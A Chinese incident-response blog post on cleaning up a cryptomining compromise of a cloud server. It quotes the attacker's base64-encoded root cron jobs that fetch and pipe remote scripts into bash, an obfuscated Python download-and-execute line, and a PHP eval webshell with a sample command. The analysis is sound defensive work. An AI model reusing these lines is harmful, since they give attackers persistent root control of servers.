云服务器被攻击后分析恶意脚本修复漏洞

目录

  • [1. crond](#1. crond)
  • [2. 利用php -S或Web漏洞上传Root级Webshell](#2. 利用php -S或Web漏洞上传Root级Webshell)
  • [3. ssh](#3. ssh)
  • [4. docker](#4. docker)
  • [5. 排除工具](#5. 排除工具)
  • [6. 使用 hw_toolkit 扫描](#6. 使用 hw_toolkit 扫描)
  • [7. 查询特权账号](#7. 查询特权账号)
    • [1. 查找 UID 为 0 的特权账户](#1. 查找 UID 为 0 的特权账户)
    • [2. 检查 sudoers 文件(查找 NOPASSWD 条目)](#2. 检查 sudoers 文件(查找 NOPASSWD 条目))
    • [3. 检查 PAM 配置是否被篡改(如插入 pam_permit.so)](#3. 检查 PAM 配置是否被篡改(如插入 pam_permit.so))

攻击者使用包括 Cron、root 级 Webshell、SSH 公钥、Docker 容器混合持久化后门,使用docker跑挖矿镜像,每个方式不清理彻底都可以重新生成,相互独立又互为备份,以长期控制为目的的复合型入侵,如果不确定还有没有其他的文件被篡改,可以使用工具自动扫描。

1.crond

  • 查最近7天修改的文件,黑客添加base64编码后的命令,定时执行从远程服务器下载脚本执行脚本中的命令,如果没有删除干净,黑客可以利用任意一个定时任务把所有后门又重新添加,甚至篡改更加隐蔽的文件,留下入口。
bash 复制代码
  find /var/spool/cron/ /etc/cron* -mtime -7 -type f 2>/dev/null

发现两个文件被修改了

第一个

1、文件路径

bash 复制代码
/etc/crontab

2、内容

bash 复制代码
* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash 

* * * * * * root python -c "import urllib2; print urllib2.urlopen('http://s.\\n\\a-c\\s.c\\o\m/t.sh').read()" >.1;chmod +x .1;./.1

2.1、解释第一条

bash 复制代码
用 base64 -d 解码后是
curl -fsSL http://140.99.32.48/b2f628/cronb.sh

* * * * * *:每分钟执行一次。

root:以 root 权限执行,说明大概率写在 /etc/crontab 或 /etc/cron.d/*。

echo ... | base64 -d:解码出 curl -fsSL http://140.99.32.48/b2f628/cronb.sh。

第一个 bash:执行这条 curl 命令,把远程脚本内容输出到标准输出。

第二个 bash:把 curl 下载到的脚本内容直接交给 bash 执行。

所以本质是:

每分钟以 root 身份从 140.99.32.48 下载 cronb.sh 并立即执行。
下载定时脚本,并执行
curl -fsSL http://140.99.32.48/b2f628/cronb.sh| bash

2.2、解释第二条

bash 复制代码
* * * * *:每分钟执行一次。

root:以 root 权限执行。这个字段说明它大概率写在 /etc/crontab 或 /etc/cron.d/* 这类系统 crontab 中,而不是普通用户 crontab。

python -c "import urllib2; ...":使用 Python 2 的 urllib2 从远程 URL 下载内容。

URL 中的反斜杠 \n\a-c\s.c\o\m 是明显的混淆/免杀写法,用于绕过简单的字符串匹配。实际解析出来的域名可能是类似 s.na-cs.com 的形式,具体以 Python 实际解析为准,不要直接执行验证。

print ... .read():把下载到的内容打印到标准输出。

>.1:把下载内容写入当前工作目录下的隐藏文件 .1。cron 的当前目录通常是 /root 或 /,所以可能是 /root/.1 或 /.1。

chmod +x .1:给下载下来的文件加可执行权限。

./.1:直接执行下载下来的文件。

第二个

1、文件路径

bash 复制代码
/etc/cron.d/zzh

2、文件内容

bash 复制代码
* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vcy5cblxhLWNccy5jXG9tL2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash

相当于
* * * * * root curl -fsSL http://s.na-cs.com/b2f628/cronb.sh | bash
逐段解释
text
* * * * * root echo <base64> | base64 -d | bash | bash
* * * * *:每分钟执行一次。

root:以 root 权限执行。

echo <base64>:输出 Base64 字符串。

base64 -d:解码成 curl -fsSL http://s.\n\a-c\s.c\om/b2f628/cronb.sh。

第一个 | bash:shell 执行这条 curl,反斜杠转义后实际请求 http://s.na-cs.com/b2f628/cronb.sh,并把下载内容输出到 stdout。

第二个 | bash:把下载到的脚本内容直接交给 bash 以 root 执行。
  • 攻击者只要控制 s.na-cs.com 上的 cronb.sh,就能让你服务器每分钟以 root 执行任意命令。
  • 即使你删掉某个恶意进程、容器或 Webshell,只要这行 cron 还在,下一分钟它又会拉取新载荷,重新建立控制。
  • 用 Base64 + 反斜杠转义,是为了绕过简单的 grep curl、grep http 检测。

让我想起了,星星之火可以燎原

解决办法 :

  • 删除恶意 cron 行;
  • 检查所有用户 crontab -l;
  • 检查 /etc/cron.d/、/etc/crontab、/var/spool/cron/;
  • 检查 ~/.ssh/authorized_keys、systemd 服务、rc.local、/etc/ld.so.preload 等其他持久化点;
    根因没查清、系统已被 root 控制时,可靠做法是用快照取证后重装,而不是在原机上删几个文件就当修复完成。

2.利用php -S或Web漏洞上传Root级Webshell

1、/root中 artx_php.sh

①、内容:

bash 复制代码
\#!/bin/sh while true; do  /usr/bin/php -S 0.0.0.0:18088 -t /docker/artx_web >>/root/artx_php.log 2>&1  sleep 3 done

②、解释:

php -S 会一直占着前台,sleep 3 只在 PHP 进程退出之后才执行,所以进程被杀掉大约 3 秒后会被拉起来,启动phpweb服务,web内容是在/docker/artx_web,如果通过端口kill掉这个phpweb服务,3秒后会再次启动。

启动web的目的是可以调用web接口执行恶意命令。

它是一个无限循环守护的 PHP Web 服务启动脚本 ,可以视为攻击者部署的 Web 服务/后门/载荷分发点。

2、/docker/artx_web/artx.php

①、内容

bash 复制代码
<?php // managed entry if(isset($_POST["z"])){ @eval($_POST["z"]); } ?>
  • if(isset($_POST"z")):只有当 HTTP POST 请求中包含名为 z 的参数时才执行。
  • @eval($_POST"z");:核心后门 。eval() 会把 z 参数的内容当作 PHP 代码直接执行。前面的 @ 只是抑制错误输出,让执行更隐蔽。

②、解释:

这个就是web服务的内容,他可以接受post请求,参数包含z时把参数z的内容当成php的代码执行,可以传入恶意命令,例如

bash 复制代码
curl -i -X POST 'http://127.0.0.1:18088/shell.php' \  --data-urlencode 'z=system("docker ps 2>&1");'

/etc/crontab 里那条 Base64 编码的命令,属于利用计划任务(Cron Job)实现的持久化远程代码执行(RCE)。

它的原理是让服务器每分钟以 root 权限,自动从攻击者指定的地址(140.99.32.48)下载并执行一段脚本。这种方式被称为 "自愈"机制:即使你删除了某个恶意文件或进程,只要 cron 任务还在,下一分钟它就会重新拉取并执行最新的攻击载荷,让后门"死而复生"。Base64 编码只是为了混淆视线,掩盖其真实目的。

artx.php 是 Webshell 本体;php -S 进程是攻击者为这个 Webshell 搭建的、以 root 权限运行的 Web 运行环境

3、解决办法:

bash 复制代码
# 先杀父进程 先杀看门狗父进程,否则 PHP 3 秒后复活
pkill -9 -f 'artx_php\.sh'
#再杀PHP进程
pgrep -af 'php -S 0.0.0.0:18088'
kill -9  进程号
#最后检查PHP进程是否成功杀死
ss -ltnp 'sport = :18088'
#最后删除文件
rm -f /docker/artx_web/artx.php
rm -f /root/artx_php.sh /root/artx_php.log /root/php_apt.log

我猜测使用定时任务和phpweb服务合并使用,执行恶意命令,不需要开通18088外网端口,就能以root执行。当然phpweb还有其他触发方式,比如在容器中触发。

bash 复制代码
cron 每分钟
  → curl 下载 cronb.sh / t.sh
  → 脚本内部执行 curl -X POST http://127.0.0.1:18088/artx.php -d 'z=...'
  → eval 以 root 执行

webshell 可以cronb.sh 是 curl | bash,执行结果默认丢弃,攻击者看不到。webshell 的 eval 会把 system('id') 的输出直接返回,攻击者能即时看到 uid=0(root),确认权限、看文件内容、读数据库。

攻击者可以通过 webshell 上传工具、下载数据、反弹 shell、扫描内网、读 /etc/shadow、翻业务代码。cron 只适合跑固定脚本,做不了这些"边看边操作"的事。

cron的作用即使攻击者下线、webshell 被删、进程被杀,cron 下一分钟仍会拉取脚本,重新写入 webshell、重拉挖矿、重加 SSH 公钥。它是"自愈"机制。

3.ssh

  • 查询ssh登录日志
bash 复制代码
- grep -Ei 'Accepted publickey|Accepted password' /var/log/auth.log* | grep -i root
bash 复制代码
root@VM-0-13-ubuntu:~/.ssh# grep -Ei 'Accepted publickey|Accepted password' /var/log/auth.log* | grep -i root
/var/log/auth.log:2026-11-10T01:28:49.282487+08:00 localhost sshd[2838385]: Accepted publickey for root from 198.135.49.182 port 50010 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:02.610392+08:00 localhost sshd[2840363]: Accepted publickey for root from 198.135.49.182 port 16002 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:14.233013+08:00 localhost sshd[2840839]: Accepted publickey for root from 198.135.49.182 port 46428 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:26.270075+08:00 localhost sshd[2841148]: Accepted publickey for root from 198.135.49.182 port 25608 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:35.219337+08:00 localhost sshd[2841370]: Accepted publickey for root from 198.135.49.182 port 21718 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:45.517585+08:00 localhost sshd[2841744]: Accepted publickey for root from 198.135.49.182 port 55398 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:59.252372+08:00 localhost sshd[2842056]: Accepted publickey for root from 198.135.49.182 port 33092 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:04.593464+08:00 localhost sshd[2842221]: Accepted publickey for root from 198.135.49.182 port 33096 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:10.138090+08:00 localhost sshd[2842389]: Accepted publickey for root from 198.135.49.182 port 40682 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:47.361873+08:00 localhost sshd[2847754]: Accepted publickey for root from 198.135.49.182 port 16002 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:52.336376+08:00 localhost sshd[2847876]: Accepted publickey for root from 198.135.49.182 port 16012 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk

看到异常登录记录,IP 198.135.49.182来自境外

bash 复制代码
cat /root/.ssh/authorized_keys 

发现

bash 复制代码
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsjWxg6tNEWhQoTTm/zAwrq+F2YFa+dMc1SRz7LND9h artx142

删除恶意登录公钥

4、docker

docker ps 发现三个容器,sleep 1000000是睡眠的,这三个镜像都映射到了宿主机,可以通过docker exec -t artx142 进入容器,执行恶意命令。

第一个和第二个都是挖矿容器,这是黑客真实的使用服务器目的。

bash 复制代码
57c8b91ed866   alpine:latest            "/artx/xmrig -c /art..."   9 hours ago    Exited (0) 5 minutes ago               artx795751
0884263a6054   alpine:latest            "/artx/xmrig -c /art..."   9 hours ago    Created                                artx79
331c823979ee   alpine:latest            "sleep 1000000"          9 hours ago    Exited (143) 5 minutes ago             artx142

解决办法:

①、先关闭自启动 :

docker update --restart=no artx142 artx795751 artx79

②、删容器和它独占的卷:

docker rm -f -v artx795751 artx79 artx142

③、删除镜像

docker rmi alpine:latest

4、排除工具

  1. 使用自动化排查脚本:在隔离环境中,可以运行只读的应急响应脚本进行快速全面扫描。例如,开源项目 GoghOrz/hw_toolkit 提供了包含 28 个模块的一键排查脚本,能生成完整报告和疑似清单,覆盖账户、Webshell、Rootkit、持久化等多个方面。
  2. 运行 Rootkit 检测工具:使用 chkrootkit 和 rkhunter 进行系统扫描,它们能检测已知的 rootkit 特征和系统命令篡改。
  3. 文件完整性校验:对关键系统命令(如 /bin/ps, /bin/ls, /usr/bin/top)进行哈希校验,并与官方仓库或已知良好基线进行比对。

5、使用hw_toolkit扫描

  1. 下载:wget https://raw.githubusercontent.com/GoghOrz/hw_toolkit/main/hw_toolkit.sh
  2. 授权: chmod +x hw_toolkit.sh
  3. 执行:./hw_toolkit.sh

扫描 结果,修复2个高危警告。关闭2375 端口开放,

sudo systemctl revert docker.service

sudo systemctl daemon-reload

sudo systemctl restart docker.service

第二个应该是误报。

bash 复制代码
[× 异常] Docker daemon TCP 2375 端口开放: :::2375 
[× 异常] /usr/lib64/security/pam_unix.so 包校验失败,疑似被替换: ....L....  c /etc/pam.d/fingerprint-auth ....L....  c /etc/pam.d/password-auth ....L....  c /etc/pam.d/postlogin ....L....  c /etc/pam.d/smartcard-auth ....L....  c /etc/pam.d/system-auth

​

公网上的服务器每天都有扫描暴力破解的记录,所以暴露在公网的端口应用一定要设置强密码,否则会被暴力破解

7、查询特权账号

1. 查找 UID 为 0 的特权账户

awk -F: '$3==0{print}' /etc/passwd

2. 检查 sudoers 文件(查找 NOPASSWD 条目)

cat /etc/sudoers

ls -la /etc/sudoers.d/

grep -R "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null

3. 检查 PAM 配置是否被篡改(如插入 pam_permit.so)

grep -R "pam_permit" /etc/pam.d/ 2>/dev/null

相关推荐
菩提小狗16 小时前
每日安全情报报告 · 2026-11-09
网络安全·漏洞·cve·安全情报·每日安全
东姬AI1 天前
挖出948个内核漏洞、自动写补丁:GPT-6 Cyber把AI推进“实战岗“,内容行业还卡在哪一关?
人工智能·网络安全·openai·gpt-6
ppo_wu2 天前
解决夸克网盘自动修改PDF打开方式的方法
经验分享·安全·网络安全
kingx32 天前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
菩提小狗3 天前
每日安全情报报告 · 2026-11-07
网络安全·漏洞·cve·安全情报·每日安全
不庸.3 天前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
liferecords4 天前
OpenAI 把「Critical」级挖洞模型交付出去了:GPT-6 Cyber 正式发布,越界率压到 1% 以下
网络安全·openai·ai安全·模型发布
FungLeo4 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
菩提小狗5 天前
每日安全情报报告 · 2026-11-05
网络安全·漏洞·cve·安全情报·每日安全